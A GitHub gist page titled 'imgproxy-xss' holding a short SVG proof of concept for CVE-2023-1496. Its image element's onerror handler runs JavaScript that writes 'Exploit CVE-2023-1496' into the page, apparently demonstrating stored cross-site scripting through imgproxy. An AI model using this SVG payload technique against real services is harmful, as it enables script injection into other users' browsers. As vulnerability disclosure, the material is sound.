Skip to content

Instantly share code, notes, and snippets.

@userdehghani
Last active May 14, 2024 09:18
Show Gist options
  • Save userdehghani/3ccf0e2d809c7629eb4bc685eebc061b to your computer and use it in GitHub Desktop.
Save userdehghani/3ccf0e2d809c7629eb4bc685eebc061b to your computer and use it in GitHub Desktop.
imgproxy-xss
Display the source blob
Display the rendered blob
Raw
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="x" onerror='document.getElementById("x").appendChild(document.createTextNode("Exploit CVE-2023-1496"));' />
</svg>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment